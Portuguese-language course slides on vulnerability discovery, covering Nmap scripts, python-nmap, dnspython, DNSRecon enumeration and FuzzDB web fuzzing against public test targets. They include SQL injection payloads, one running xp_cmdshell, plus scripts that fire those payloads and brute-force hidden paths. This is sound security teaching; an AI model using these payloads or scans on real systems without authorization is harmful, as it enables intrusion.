



Descobrimo Vulnerabilidades com Nmap

Prof. Ricardo Mesquita



Scripts Nmap para Descobrir Serviços

O Nmap fornece diversos scripts que podem ajudar a identificar serviços e explorar vulnerabilidades encontradas.

Cada um desses scripts pode ser chamado usando a opção `-script`:

- **Auth:** Executa todos os scripts disponíveis para autenticação.
- **Default:** Executa os scripts básicos da ferramenta, por padrão.
- **Discovery:** recupera informações do alvo ou vítima.
- **External:** um script para usar recursos externos.
- **Intrusive:** usa scripts considerados intrusivos para a vítima ou alvo.
- **Malware:** verifica se há conexões abertas por códigos maliciosos ou backdoors.
- **Safe:** executa scripts que não são intrusivos.
- **Vuln:** descobre as vulnerabilidades mais conhecidas.
- **All:** Executa todos os scripts com extensão NSE disponíveis.

Scripts Nmap para Descobrir Serviços

No exemplo a seguir, executamos o comando nmap com a opção --script para captura de banner (banner), que obtém informações sobre os serviços que estão rodando no servidor:

```
$ sudo nmap -sSV --script=banner scanme.nmap.org
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.18s latency).
Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f
Not shown: 961 closed ports, 33 filtered ports
PORT      STATE      SERVICE      VERSION
22/tcp    open      ssh          OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; ...
80/tcp    open      http         Apache httpd 2.4.7 ((Ubuntu)) |_http-server-header: ...
2000/tcp  open      tcpwrapped
5060/tcp  open      tcpwrapped
9929/tcp  open      nping-echo   Nping echo
...
```

Note: Informa as portas que estão abertas e, para cada porta, informações sobre a versão do serviço e o sistema operacional que está rodando.

Scripts Nmap para Descobrir Serviços

```
$ sudo nmap --script discovery scanme.nmap.org
```

```
Pre-scan script results:
```

```
| targets-asn:
```

```
|_ targets-asn.asn is a mandatory parameter
```

```
Nmap scan report for scanme.nmap.org (45.33.32.156)
```

```
Host is up (0.17s latency).
```

```
Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f
```

```
All 1000 scanned ports on scanme.nmap.org (45.33.32.156) are filtered
```

```
Host script results:
```

```
| asn-query:
```

```
| BGP: 45.33.32.0/24 and 45.33.32.0/19 | Country: US
```

```
...
```

```
|         ipv6.nmap.org - 2600:3c01:0:0:f03c:91ff:fe70:d085
```

```
|         chat.nmap.org - 45.33.32.156
```

```
...
```

Scripts Nmap para Descobrir Serviços

Se estivermos interessados em um script específico da categoria de descoberta, poderíamos executar o seguinte:

```
$ sudo nmap --script dns-brute scanme.nmap.org
```

Scripts Nmap para Descobrir Serviços

Também podemos usar os scripts nmap para obter mais informações relacionadas à chave pública, bem como os algoritmos de criptografia suportados pelo servidor na porta SSH 22:

```
$ sudo nmap -sSV -p22 --script ssh-hostkey scanme.nmap.org
```

PORT	STATE	SERVICE	VERSION
22/tcp	open	ssh	OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)

```
| ssh-hostkey:  
| 1024 ac:00:a0:1a:82:ff:cc:55:99:dc:67:2b:34:97:6b:75 (DSA)  
| 2048 20:3d:2d:44:62:2a:b0:5a:9d:b5:b3:05:14:c2:a6:b2 (RSA)  
| 256 96:02:bb:5e:57:54:1c:4e:45:2f:56:4c:4a:24:b2:57 (ECDSA)  
|_ 256 33:fa:91:0f:e0:e1:7b:1f:6d:05:a2:b0:f1:54:41:56 (EdDSA)  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Scripts Nmap para Descobrir Serviços

```
$ sudo nmap -sSV -p22 --script ssh2-enum-algos scanme.nmap.org
PORT      STATE      SERVICE      VERSION
22/tcp    open      ssh          OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13
(Ubuntu Linux; protocol 2.0)
| ssh2-enum-algos:
|   kex_algorithms: (8)
|       curve25519-sha256@libssh.org
|       ecdh-sha2-nistp256
|       ecdh-sha2-nistp384
|       ...
|   server_host_key_algorithms: (4)
|       ssh-rsa
|       ssh-dss
|       ecdsa-sha2-nistp256
|       ssh-ed25519
```

Visualizamos informações relacionadas aos algoritmos suportados pelo servidor SSH localizado no domínio scanme.nmap.org na porta 22.

Scripts Nmap para Descobrir Vulnerabilidades

```
$ sudo nmap -sSV -p21 --script ftp-anon ftp.be.debian.org
```

PORT	STATE	SERVICE	VERSION
------	-------	---------	---------

21/tcp	open	ftp	ProFTPD
--------	------	-----	---------

```
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
```

```
| lrwxrwxrwx 1 ftp ftp 16 May 14 2011 backports.org -> /backports.org/debian-backports
```

```
| drwxr-xr-x 9 ftp ftp 4096 Jul 22 14:47 debian
```

```
| drwxr-sr-x 5 ftp ftp 4096 Mar 13 2016 debian-backports
```

```
| drwxr-xr-x 5 ftp ftp 4096 Jul 19 01:21 debian-cd
```

```
| drwxr-xr-x 7 ftp ftp 4096 Jul 22 12:32 debian-security
```

```
| drwxr-sr-x 5 ftp ftp 4096 Jan 5 2012 debian-volatile
```

```
| drwxr-xr-x 5 ftp ftp 4096 Oct 13 2006 ftp.irc.org
```

```
| -rw-r--r-- 1 ftp ftp 419 Nov 17 2017 HEADER.html
```

```
| drwxr-xr-x 10 ftp ftp 4096 Jul 22 14:05 pub
```

```
| drwxr-xr-x 20 ftp ftp 4096 Jul 22 15:14 video.fosdem.org
```

```
|_-rw-r--r-- 1 ftp ftp 377 Nov 17 2017 welcome.msg
```

Note: é possível uma conexão anônima no servidor FTP


```
import nmap
import argparse
def callbackFTP(host, result):
    try:
        script = result['scan'][host]['tcp'][21]['script']
        print("Command line"+ result['nmap']['command_line'])
        for key, value in script.items():
            print('Script {0} --> {1}'.format(key, value))
    except KeyError:
        pass
class NmapScannerAsyncFTP:
    def __init__(self):
        self.portScanner = nmap.PortScanner()
        self.portScannerAsync = nmap.PortScannerAsync()
    def scanning(self):
        while self.portScannerAsync.still_scanning():
            print("Scanning >>>")
            self.portScannerAsync.wait(10)
```

A função callbackFTP é executada quando o processo de varredura do nmap termina para um script específico.

```
def nmapScanAsync(self, hostname, port):
```

```
try:
```

```
    print("Checking port "+ port + " .....")
```

```
    self.portScanner.scan(hostname, port) self.state =
```

```
    self.portScanner[hostname]['tcp'][int(port)]['state']
```

```
    print(" [+] " + hostname + " tcp/" + port + " " + self.state)
```

```
    #checking FTP service
```

```
    if (port=='21') and
```

```
        self.portScanner[hostname]['tcp'][int(port)]['state']=='open':
```

```
        print('Checking ftp port with nmap scripts.....')
```

```
        print('Checking ftp-anon.nse .....')
```

```
        self.portScannerAsync.scan(hostname,arguments="-A -sV -p21 -  
            -script ftp-anon.nse",callback=callbackFTP)
```

```
        self.scanning()
```

- O método verifica a porta passada como parâmetro e inicia scripts Nmap relacionados ao FTP de forma assíncrona.
- Se detectar que a porta 21 está aberta, são executados os scripts nmap correspondentes ao serviço FTP.

```
print('Checking ftp-bounce.nse .....')
self.portScannerAsync.scan(hostname,arguments="-A -sV -p21 --script
                                     ftp-bounce.nse",callback=callbackFTP)

self.scanning()
print('Checking ftp-libopie.nse .....')
self.portScannerAsync.scan(hostname,arguments="-A -sV -p21 --script
                                     ftp-libopie.nse",callback=callbackFTP)

self.scanning()
print('Checking ftp-proftpd-backdoor.nse .....')
self.portScannerAsync.scan(hostname,arguments="-A -sV -p21 --script
                                     ftp-proftpd-backdoor.nse",callback=callbackFTP)

self.scanning()
print('Checking ftp-vsftpd-backdoor.nse .....')
self.portScannerAsync.scan(hostname,arguments="-A -sV -p21 --script ftp-
                                     vsftpd-backdoor.nse",callback=callbackFTP)

self.scanning()
except Exception as exception:
    print("Error to connect with " + hostname + " for port
                                     scanning",str(exception))
```

Executamos outros scripts como ftp-bounce.nse, ftp-libopie.nse, ftp-proftpd-backdoor.nse e ftp-vsftpd-backdoor.nse, que permitem testar vulnerabilidades específicas dependendo na versão do serviço FTP.

Scripts Nmap para Descobrir Vulnerabilidades

```
$ python NmapScannerAsyncFTP.py --host 195.234.45.114
Checking port 21 .....
[+] 195.234.45.114 tcp/21 open
Checking ftp port with nmap scripts.....
Checking ftp-anon.nse .....
Scanning >>>
Scanning >>>
Command linenmap -oX - -A -sV -p21 --script ftp-anon.nse 195.234.45.114
Script ftp-anon --> Anonymous FTP login allowed (FTP code 230)
lrwxrwxrwx 1 ftp ftp 16 May 14 2011 backports.org -> /backports.org/debian-backports
drwxr-xr-x 9 ftp ftp 4096 Oct 1 14:44 debian
drwxr-sr-x 5 ftp ftp 4096 Mar 13 2016 debian-backports
drwxr-xr-x 5 ftp ftp 4096 Sep 27 06:17 debian-cd
drwxr-xr-x 7 ftp ftp 4096 Oct 1 16:32 debian-security
...
```

- Execução do código anterior
- Podemos visualizar as informações relacionadas à porta 21 e a execução dos scripts nmap relacionados ao serviço ftp.

Detecção de Vulnerabilidades com Nmap-vulners

A primeira etapa é obter o código-fonte:

```
$ git clone https://github.com/vulnersCom/nmap-vulners.git
```

Então temos que copiar os arquivos baixados para a pasta onde os scripts nmap estão armazenados.

- No caso de um sistema operacional baseado em Linux, eles geralmente estão localizados no caminho `/usr/share/nmap/scripts/`:

```
$ sudo mv /home/linux/Downloads/nmap-vulners-master/*.*/usr/share/nmap/scripts/
```


Detecção de Vulnerabilidades com Nmap-vulners

Consulte o arquivo README encontrado no repositório para obter instruções específicas.

Podemos executar o script de vulnerabilidades com o seguinte comando:

```
$ nmap -sV --script vulners scanme.nmap.org -p22,80,3306
PORT STATE SERVICE VERSION
22/tcp open  ssh      OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| vulners:
|   cpe:/a:openbsd:openssh:6.6.1p1:
|     CVE-2015-5600 8.5 https://vulners.com/cve/CVE-2015-5600
|     CVE-2015-6564 6.9 https://vulners.com/cve/CVE-2015-6564
|
...
80/tcp open  http      Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
| vulners:
|   cpe:/a:apache:http_server:2.4.7:
|     CVE-2022-31813 7.5 https://vulners.com/cve/CVE-2022-31813
|     CNVD-2022-73123 7.5 https://vulners.com/cnvd/CNVD-2022-73123
|     CNVD-2022-03225 7.5 https://vulners.com/cnvd/CNVD-2022-03225
|
...
```

Detecção de Vulnerabilidades com Nmap-vulners

Podemos escrever um script Python que execute o comando anterior e obter a saída usando o método `communicate()`.

```
import subprocess
p = subprocess.Popen(["nmap", "-sV", "--script", "vulners", "scanme.nmap.org", "-p22,80,3306"], stdout=subprocess.PIPE)
(output, err) = p.communicate()
output = output.decode('utf-8').strip()
print(output)
```

Detecção de Vulnerabilidades com Nmap-vulscan

Obtendo o código-fonte:

```
$ git clone https://github.com/scipag/vulscan scipag_vulscan
```

Copiando para /usr/share/nmap/scripts/:

```
$ sudo mv /home/linux/Downloads/scipag_vulscan/*.*  
/usr/share/nmap/scripts/vulscan/
```

Detecção de Vulnerabilidades com Nmap-vulscan

Exemplo: a opção -sV do Nmap permite a detecção da versão do serviço, que é usada para identificar explorações potenciais para as vulnerabilidades detectadas no sistema:

```
$ nmap -sV --script=vulscan/vulscan.nse scanme.nmap.org -p 22,80
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu L:
| vulscan: VulDB - https://vuldb.com:
| [12724] OpenSSH up to 6.6 Fingerprint Record Check sshconnect.c
|
| MITRE CVE - https://cve.mitre.org:
| [CVE-2012-5975] The SSH USERAUTH CHANGE REQUEST feature in SSH
| [CVE-2012-5536] A certain Red Hat build of the pam_ssh_agent_aut
| [CVE-2010-5107] The default configuration of OpenSSH through 6.
| [CVE-2008-1483] OpenSSH 4.3p2, and probably other versions, all
| [CVE-2007-3102] Unspecified vulnerability in the linux_audit_rec
| [CVE-2004-2414] Novell NetWare 6.5 SP 1.1, when installing or up
.....
```



Obtendo Informações de Servidores DNS com DNSPython e DNSRecon



O módulo DNSPython

- dnspython (<https://www.dnspython.org>) é uma biblioteca que fornece um kit de ferramentas DNS para Python e permite trabalhar em alto nível fazendo consultas.
- Também permite acesso de baixo nível, para manipulação de zonas e atualizações dinâmicas de registros, mensagens e nomes.
- O módulo dnspython fornece o método `dns.resolver()`, que permite encontrar vários registros de um nome de domínio.
- A função usa o nome de domínio e o tipo de registro como parâmetros.

O módulo DNSPython

Tipos de registro:

- **Registro AAAA:**
 - Este é um registro de endereço IP, que é usado para encontrar o IP do computador conectado ao domínio.
 - É conceitualmente semelhante ao registro A, mas especifica apenas o endereço IPv6 do servidor em vez do IP.
- **Registro NS:**
 - O registro do Servidor de Nomes (NS) fornece informações sobre qual servidor é autoritativo para um determinado domínio, ou seja, qual servidor possui os registros DNS reais.
 - Vários registros NS são possíveis para um domínio, incluindo servidores de nomes primários e de backup.

O módulo DNSPython

Tipos de registro:

- **Registros MX:**

- MX significa mail exchanger record, que é um registro de recurso que especifica o servidor de email responsável por aceitar emails em nome do domínio.
- Possui valores de preferência de acordo com a priorização de correio se vários servidores de correio estiverem presentes para balanceamento de carga e redundância.

- **Registros SOA:**

- SOA significa Início de Autoridade, que é um tipo de registro de recurso que contém informações sobre a administração da zona, especialmente relacionadas às transferências de zona definidas pelo administrador da zona.

O módulo DNSPython

Tipos de registro:

- **Registro CNAME:**

- CNAME significa registro de nome canônico, que é usado para mapear o nome de domínio como um alias para o outro domínio.
- Sempre aponta para outro domínio e nunca aponta diretamente para um IP.

- **Registro TXT:**

- Esses registros contêm as informações de texto das fontes que estão fora do domínio.
- Os registros TXT podem ser usados para vários fins, por exemplo, o Google os utiliza para verificar a propriedade do domínio e garantir a segurança do e-mail.

O módulo DNSPython

Este módulo permite operações para consultar registros em servidores DNS.

A instalação pode ser feita usando o repositório Python ou baixando o código-fonte GitHub do repositório <https://github.com/rthalley/dnspython> e executando o arquivo de instalação setup.py.

A maneira mais rápida de instalá-lo é usando o repositório pip.

Pode-se instalar esta biblioteca usando o comando easy_install ou o comando pip:

```
$ pip install dnspython
```


O módulo DNSPython

Principais pacotes do módulo:

```
import dns
```

```
import dns.resolver
```

As informações que podemos obter para um domínio específico são:

- Registros para servidores de e-mail: `response_MX = dns.resolver.query('domain', 'MX')`
- Registros para servidores de nomes: `response_NS = dns.resolver.query('domain', 'NS')`
- Registros para endereços IPV4: `response_ipv4 = dns.resolver.query('domain', 'A')`
- Registros para endereços IPV6: `response_ipv6 = dns.resolver.query('domain', 'AAAA')`

O módulo DNSPython

Exemplo:

```
import dns.resolver
hosts = ["python.org", "google.com", "microsoft.com"]
for host in hosts:
    print(host)
    ip = dns.resolver.resolve(host, "A")
    for i in ip:
        print(i)
```

Usamos o método resolve() para obter uma lista de endereços IP para muitos domínios de host com o submódulo dns.resolver.

```
$ python dns_resolver.py
python.org
138.197.63.241
google.com
142.250.201.78
microsoft.com
20.81.111.85
20.103.85.33
20.53.203.50
20.112.52.29
20.84.181.62
```

```
import argparse
import dns.name
def main(domain1, domain2):
    domain1 = dns.name.from_text(domain1)
    domain2 = dns.name.from_text(domain2)
    print("{} is subdomain of {}: {}".format(domain1,
                                              domain2, domain1.is_subdomain(domain2)))
    print("{} is superdomain of {}: {}".format(domain1, domain2, domain1.is_superdomain(domain2)))
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Check 2 domains with dns Python')
    parser.add_argument('--domain1', action="store", dest="domain1",
                        default='python.org')
    parser.add_argument('--domain2', action="store", dest="domain2",
                        default='docs.python.org')

    given_args = parser.parse_args()
    domain1 = given_args.domain1
    domain2 = given_args.domain2
    main(domain1, domain2)
```

Podemos verificar se um domínio é subdomínio de outro com o método `is_subdomain()` e verificar se um domínio é superdomínio de outro usando o método `is_superdomain()`.

- Um superdomínio é o domínio pai de todos os seus subdomínios.

O módulo DNSPython

Ao executar o código anterior, podemos ver que o domínio python.org é um superdomínio de mail.python.org:

```
$ python check_domains.py --domain1 python.org --domain2 mail.python.org  
python.org. is subdomain of mail.python.org.: False  
python.org. is superdomain of mail.python.org.:True
```

O módulo DNSPython

Podemos obter um nome de domínio de um endereço IP usando o submódulo `dns.reversename` e o método `from_address()`:

```
>>> import dns.reversename
```

```
>>> domain = dns.reversename.from_address("ip_address")
```

Podemos obter um endereço IP de um nome de domínio usando o submódulo `dns.reversename` e o método `to_address()`:

```
>>> import dns.reversename
```

```
>>> ip = dns.reversename.to_address("domain")
```


O módulo DNSPython

O exemplo a seguir mostra uma pesquisa reversa:

```
import dns.reversename  
domain = dns.reversename.from_address("45.55.99.72")  
print(domain)  
print(dns.reversename.to_address(domain))
```

O módulo DNSPython

No exemplo a seguir, vamos extrair informações relacionadas a todos os registros ('A','AAAA','NS','SOA','MX','MF','MD','TXT','CNAME ','PTR').

Um registro de ponteiro (PTR) resolve um endereço IP em um nome de domínio (pesquisa reversa).

```

import dns.resolver
def main(domain):
    records = ['A', 'AAAA', 'NS', 'SOA', 'MX', 'TXT', 'CNAME', 'PTR']
    for record in records:
        try:
            responses = dns.resolver.resolve(domain, record)
            print("\nRecord response ", record)
            print("-----")
            for response in responses:
                print(response)
        except Exception as exception:
            print("Cannot resolve query for record", record)
            print("Error for obtaining record information:", exception)
if __name__ == '__main__':
    try:
        main('python.org')
    except KeyboardInterrupt: exit()

```

- Usamos o método resolve() para obter respostas de vários registros disponíveis na lista de registros.
- No método main() passamos, como parâmetro, o domínio do qual queremos extrair informações.

O módulo DNSPython

```
$ python dns_python_records.py
```

```
Record response A
```

```
-----
```

```
138.197.63.241
```

```
Cannot resolve query for record AAAA
```

```
Error for obtaining record information: The DNS response does not contain  
an answer to the question: python.org. IN AAAA
```

```
Record response NS
```

```
-----
```

```
ns-484.awsdns-60.com.
```

```
ns-981.awsdns-58.net.
```

```
ns-1134.awsdns-13.org.
```

```
ns-2046.awsdns-63.co.uk.
```

```
...
```

DNSRecon

<https://github.com/darkoperator/dnsrecon>

É uma ferramenta de verificação e enumeração de DNS escrita em Python, que permite executar diferentes tarefas, como enumeração de registros padrão para um domínio definido (A, NS, SOA e MX), expansão de domínio de nível superior para um domínio definido, transferência de zona em todos os registros NS de um domínio definido e pesquisa reversa em um intervalo de endereços IP, fornecendo um endereço IP inicial e final.

DNSRecon

Este script verifica todos os registros DNS, o que pode ser útil para um pesquisador de segurança para enumeração de DNS em todos os tipos de registros como SOA, NS, TXT, SVR, SPF, etc.

Para instalar as dependências da ferramenta, pode-se usar o seguinte comando:

```
$ pip3 install -r requirements.txt --no-warn-script-location
$ python dnsrecon.py -h
usage: dnsrecon.py [-h] [-d DOMAIN] [-n NS_SERVER] [-r RANGE] [-D DICTIONARY] [-f]
[-a] [-s] [-b] [-y] [-k] [-w] [-z] [--threads THREADS] [--lifetime LIFETIME] [--
tcp] [--db DB] [-x XML] [-c CSV] [-j JSON] [--iw] [--disable_check_recursion] [--
disable_check_bindversion] [-V] [-v] [-t TYPE]
optional arguments:
  -h, --help            show this help message and exit
  -d DOMAIN, --domain DOMAIN
                        Target domain.
```

...

DNSRecon

A maneira mais simples de usar o DNSRecon é definir o domínio alvo do teste usando a opção -d.

Se a opção -n ou servidor de nomes a ser usado não for especificado, o SOA do destino será usado:

```
$ dnsrecon -d <domain>
$ python dnsrecon.py -d www.python.org
[*] std: Performing General Enumeration against: www.python.org...
[-] DNSSEC is not configured for www.python.org
...
```


DNSRecon

```
$ python dnsrecon.py -d www.python.com -t zonewalk
[*] Performing NSEC Zone Walk for www.python.com
[*] Getting SOA record for www.python.com
[-] This zone appears to be misconfigured, no SOA record found.
[*] A www.python.com 3.96.23.237
[+] 1 records found
```

DNSRecon

Tendo obtido os servidores de nomes, uma enumeração de força bruta poderia ser realizada.

Dentre as principais opções, podemos destacar:

- **-n**: define o servidor de domínio a ser usado.
- **-D**: define o arquivo de dicionário de subdomínio ou nome de host a ser usado para força bruta.
- **-t brt**: especifica o tipo de enumeração a ser executada - brt é para domínios e hosts de força bruta usando um dicionário definido.

```
$ dnsrecon -d <domain> -n <dns> -D <dictionary> -t brt
```

DNSRecon

No comando a seguir, usamos o domínio zonetransfer.me cujos servidores de nomes permitem transferências de zona bem-sucedidas:

```
$ python dnsrecon.py -d zonetransfer.me -t axfr
[*] Checking for Zone Transfer for zonetransfer.me name servers
[*] Resolving SOA Record
[+]   SOA nsztm1.digi.ninja 81.4.108.41
[*] Resolving NS Records
[*] NS Servers found:
[+]   NS nsztm1.digi.ninja 81.4.108.41
[+]   NS nsztm2.digi.ninja 34.225.33.2
...
```

DNSRecon

Este script também faz uso de mecanismos de pesquisa comuns para obter subdomínios:

bing: Execute a pesquisa do Bing para subdomínios e hosts.

```
$ dnsrecon -d <domain> -t bing
```

yand: Execute a pesquisa Yandex por subdomínios e hosts.

```
$ dnsrecon -d <domain> -t yand
```

crt: Execute a pesquisa crt.sh para subdomínios e hosts:

```
$ dnsrecon -d <domain> -t crt
```

Fuzzing

Um **fuzzer** é um programa onde temos um arquivo que contém URLs previstos para um aplicativo ou servidor específico.

Basicamente, fazemos uma solicitação para cada URL prevista e se percebermos que a resposta foi bem-sucedida, significa que encontramos uma URL que não é pública ou está oculta, mas que depois veremos se podemos acessá-la.

Como a maioria das condições exploráveis, o processo de fuzzing só é útil contra sistemas que limpam indevidamente a entrada ou que coletam mais dados do que podem manipular.

Fases do Fuzzing

1. **Identificar o alvo.**
2. **Identificar as entradas:** A vulnerabilidade existe porque o aplicativo de destino aceita uma entrada malformada e a processa sem limpá-la.
3. **Criar dados fuzz:** Depois de obter todos os parâmetros de entrada, devemos criar dados de entrada inválidos para enviar ao aplicativo de destino.
4. **Fuzzing:** Após criar os dados fuzz, devemos enviá-los para a aplicação de destino. Podemos usar os dados fuzz para monitorar exceções ao chamar serviços.
5. **Determinar a explorabilidade:** Após o fuzzing, devemos verificar a entrada que apresenta comportamento inesperado ou retornou um rastreamento de pilha.

Web Fuzzing

Web fuzzing é uma técnica usada para encontrar vulnerabilidades comuns da web, como vulnerabilidades de injeção, XSS, pesquisas no painel de administração etc.

Esta técnica consiste em enviar dados aleatórios para a URL à qual estamos realizando o ataque.

Por exemplo, uma página web cuja URL é testphp.vulnweb.com.

À medida que navegamos pela página, percebemos que visitamos diferentes caminhos dentro da URL, como:

- `http://testphp.vulnweb.com/index.php`
- `http://testphp.vulnweb.com/login.php`

Web Fuzzing

Uma das maneiras que temos para encontrar o painel de administração é tentar aleatoriamente:

- `http://testphp.vulnweb.com/panel`
- `http://testphp.vulnweb.com/admin`
- `http://testphp.vulnweb.com/paneladmin`

Você pode tentar os links anteriores até encontrar um código de resposta HTTP 200 OK.

Mas testar manualmente cada uma das combinações possíveis é uma opção totalmente inviável.

Automatizar esse processo com combinações e arquivos e pastas que ficam configurados por padrão já parece um pouco mais viável.

O web fuzzing consiste justamente nessa automação.

Web Fuzzing

Um dos principais objetivos do fuzzing é procurar comportamentos anômalos.

Esse comportamento pode se manifestar de diversas maneiras:

- Erros de resposta do servidor web.
- Mudanças no comprimento da resposta.
- Erros na lógica do aplicativo.
- Mudanças no cabeçalho de resposta.
- Maior tempo de resposta.

FuzzDB

FuzzDB é um projeto onde encontramos um conjunto de pastas que contém padrões de ataques conhecidos que foram coletados em múltiplos testes de pentesting, principalmente em ambientes web:

<https://github.com/fuzzdb-project/fuzzdb>

As categorias do FuzzDB são separadas em diferentes diretórios que contêm padrões previsíveis de localização de recursos, ou seja, padrões que detectam vulnerabilidades com cargas maliciosas ou rotas vulneráveis.

FuzzDB

Este projeto fornece recursos para testar vulnerabilidades em servidores e aplicações web.

Uma das coisas que podemos fazer com este projeto é utilizá-lo para auxiliar na identificação de vulnerabilidades em aplicações web através de métodos de força bruta.

Um dos objetivos do projeto é facilitar o teste de aplicações web.


O projeto fornece arquivos para testar casos de uso específicos em aplicativos da web.

Podemos construir nosso próprio fuzzer para identificar URLs previsíveis usando o projeto FuzzDB.

MyFuzzer é um script de pentesting para coletar informações sobre os alvos com base no projeto FuzzDB.

```
import re
import requests
import sys
import os
import argparse
import time
import optparse
def main():
    pars = optparse.OptionParser(description="[*] Discover hidden files and directories")
    pars.add_option('-u', '--url',action="store", dest="url", type="string", help=" URL of the Target",default=None)
    pars.add_option('-w', '--wordlist',action="store", type="string", dest="wordlist", help="Custom wordlist",default=None)

    opts, args = pars.parse_args()
    if not opts.url:
        print("usage : python myFuzzer.py -h")
    if opts.wordlist:
        if not os.path.isfile(str(opts.wordlist)):
            print("[!] Please checkout your Custom wordlist path") sys.exit(0)
    fuzz(opts.url,opts.wordlist)
```



```
def ok_results(results):  
    print("200 Ok results")  
    print("-----")  
    for result in results:  
        print("[+] -[200] -"+result)
```

```

def fuzz(url, CustomWordlist):
    results = []
    if CustomWordlist :
        words = [w.strip() for w in open(str(CustomWordlist),
"rb").readlines())
    else : words = [w.strip() for w in open(wordlists["dict"],
"rb").readlines())
    try:
        if not url.startswith('http://'):
            url = "http://" + url
        for paths in words:
            paths = paths.decode()
            if not paths.startswith('/'):
                paths = "/" + paths
            fullPath = url + paths
            print(fullPath)
            response = requests.get(fullPath)
            code = str(response.status_code)
            print("[+] [{time}] - [{code}] - [{paths}] -> {fullPath}".
format(time=time.strftime("%H:%M:%S"), code=code, paths=paths, fullPath=fullP
ath))
            if code == "200":
                results.append(fullPath)
    ok_results(results)
    except Exception as e:
        print("ERROR =>", e)

```


FuzzDB

Executando o código:

```
$ python myFuzzer.py -u testasp.vulnweb.com -w fuzzdb/discovery/predictable-  
filepaths/login-file-locations/windows-asp.txt
```

```
200 0k results
```

```
-----
```

```
[+] -[200] -http://testasp.vulnweb.com/login.asp
```

```
[+] -[200] -http://testasp.vulnweb.com/login.asp
```

```
[+] -[200] -http://testasp.vulnweb.com/logout.asp
```

FuzzDB

```
import requests
logins = []
with open('Logins.txt', 'r') as filehandle:
    for line in filehandle:
        login = line[:-1]
        logins.append(login)
domain = "http://testphp.vulnweb.com"
for login in logins:
    print("Checking... " + domain + login)
    response = requests.get(domain + login)
    if response.status_code == 200:
        print("Login resource detected: " + login)
```

- Podemos obter URLs previsíveis, como login, admin e administrador.
- Para cada combinação de domínio + URL previsível, verificamos o código de status retornado.

FuzzDB

No script anterior, usamos o arquivo Logins.txt localizado no seguinte repositório GitHub:

<https://github.com/fuzzdb-project/fuzzdb/blob/master/discovery/predictable-filepaths/login-file-locations/Logins.txt>

FuzzDB

Esta poderia ser a saída do script anterior, onde podemos ver como o recurso da página admin foi detectado na pasta raiz no domínio <http://testphp.vulnweb.com>:

```
$ python fuzzdb_login_page.py
Checking... http://testphp.vulnweb.com/admin
Login Resource detected: /admin
Checking... http://testphp.vulnweb.com/Admin
Checking... http://testphp.vulnweb.com/admin.asp
Checking... http://testphp.vulnweb.com/admin.aspx
...
```

FuzzDB

Podemos construir um script onde, dado um site que estamos analisando, poderíamos testá-lo para descobrir injeção de SQL usando um arquivo que fornece uma lista de strings que podemos usar para testar este tipo de vulnerabilidade.

No repositório GitHub do projeto, podemos ver alguns arquivos que dependem do ataque SQL e do tipo de banco de dados que estamos testando.

GenericBlind.txt	Removed PGSQL per Issue #2	3 years ago
Generic_SQLI.txt	Fix #144	4 years ago
MSSQL.txt	Added a numeric check	16 months ago
MSSQL_blind.txt	Fix #144	4 years ago
MySQL.txt	Fix #144	4 years ago
MySQL_MSSQL.txt	Fix #144	4 years ago
README.md	Typo	5 years ago
oracle.txt	Fix #144	4 years ago
xplatform.txt	Fix #144	4 years ago

FuzzDB

Por exemplo, podemos encontrar um arquivo específico para testar injeção SQL em bancos de dados MySQL:

<https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/sql-injection/detect/MSSQL.txt>

FuzzDB

No arquivo MSSQL.txt que podemos encontrar no repositório anterior, podemos ver todos os vetores de ataque disponíveis para descobrir uma vulnerabilidade de injeção de SQL:

```
; --
'; --
'); --
'; exec master..xp_cmdshell 'ping 10.10.1.2'-
' grant connect to name; grant resource to name; --
' or 1=1 -
' union (select @@version) -
' union (select NULL, (select @@version)) -
' union (select NULL, NULL, (select @@version)) -
' union (select NULL, NULL, NULL, (select @@version)) -
' union (select NULL, NULL, NULL, NULL, (select @@version)) -
' union (select NULL, NULL, NULL, NULL, NULL, (select @@version)) --
```

FuzzDB

```
import requests
domain = "http://testphp.vulnweb.com/listproducts.php?cat="
mysql_attacks = []
with open('MSSQL.txt', 'r') as filehandle:
    for line in filehandle:
        attack = line[:-1]
        mysql_attacks.append(attack)
for attack in mysql_attacks:
    print("Testing... " + domain + attack)
    response = requests.get(domain + attack)
    if "mysql" in response.text.lower():
        print("Injectable MySQL detected")
        print("Attack string: "+attack)
```


FuzzDB

Para cada ataque de string localizado no arquivo MSSQL.txt, ele testa a presença de injeção de SQL no domínio que estamos analisando.

```
$ python fuzzdb_sql_injection.py
Testing... http://testphp.vulnweb.com/listproducts.php?cat=; --
Injectable MySQL detected
Attack string: ; --
Testing... http://testphp.vulnweb.com/listproducts.php?cat='; --
Injectable MySQL detected
Attack string: '; --
Testing... http://testphp.vulnweb.com/listproducts.php?cat='); --
Injectable MySQL detected
...
```



Testar e Praticar!

